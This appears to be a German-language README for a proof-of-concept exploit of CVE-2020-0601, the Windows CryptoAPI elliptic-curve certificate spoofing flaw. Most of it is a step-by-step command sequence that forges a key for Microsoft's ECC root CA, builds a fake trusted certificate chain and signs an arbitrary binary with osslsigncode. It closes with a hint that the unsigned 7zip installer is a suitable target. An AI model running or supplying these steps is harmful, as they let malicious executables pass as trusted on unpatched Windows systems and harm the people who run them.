
PoC für CVE-2020-0601 - CryptoAPI-Exploit
Ein PoC für CVE-2020-0601. Ein ausführlicher Blogbeitrag ist hier zu finden. Dieser Exploit ermöglicht es dir, ein gefälschtes vertrauenswürdiges Zertifikat zu erstellen, indem er ausnutzt, wie CryptoAPI bestimmte Parameter bei Zertifikaten auf ECC-Basis verarbeitet.
Klonen Sie das Repository und öffnen Sie es in Visual Studio 2019. Wechseln Sie zu Release und kompilieren Sie es. Vorgefertigte Binärdateien finden Sie hier.
.\Curveball.exe MicrosoftECCProductRootCertificateAuthority.cer MicrosoftECCProductRootCertificateAuthority_fake.key
# in linux bash (you can also use Windows but you'd have to get an alternative for osslsigncode). WSL on Windows works fine.
openssl req -new -x509 -key MicrosoftECCProductRootCertificateAuthority_fake.key -out trusted_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA trusted_ca.crt -CAkey MicrosoftECCProductRootCertificateAuthority_fake.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile trusted_ca.crt -name "Code Signing" -out cert.p12
./osslsigncode sign -pkcs12 cert.p12 -n "Signed by Layle" -in <BINARY_TO_SIGN> -out <SIGNED_BINARY>
Beachten Sie, dass der 7zip-Installer normalerweise nicht signiert ist!
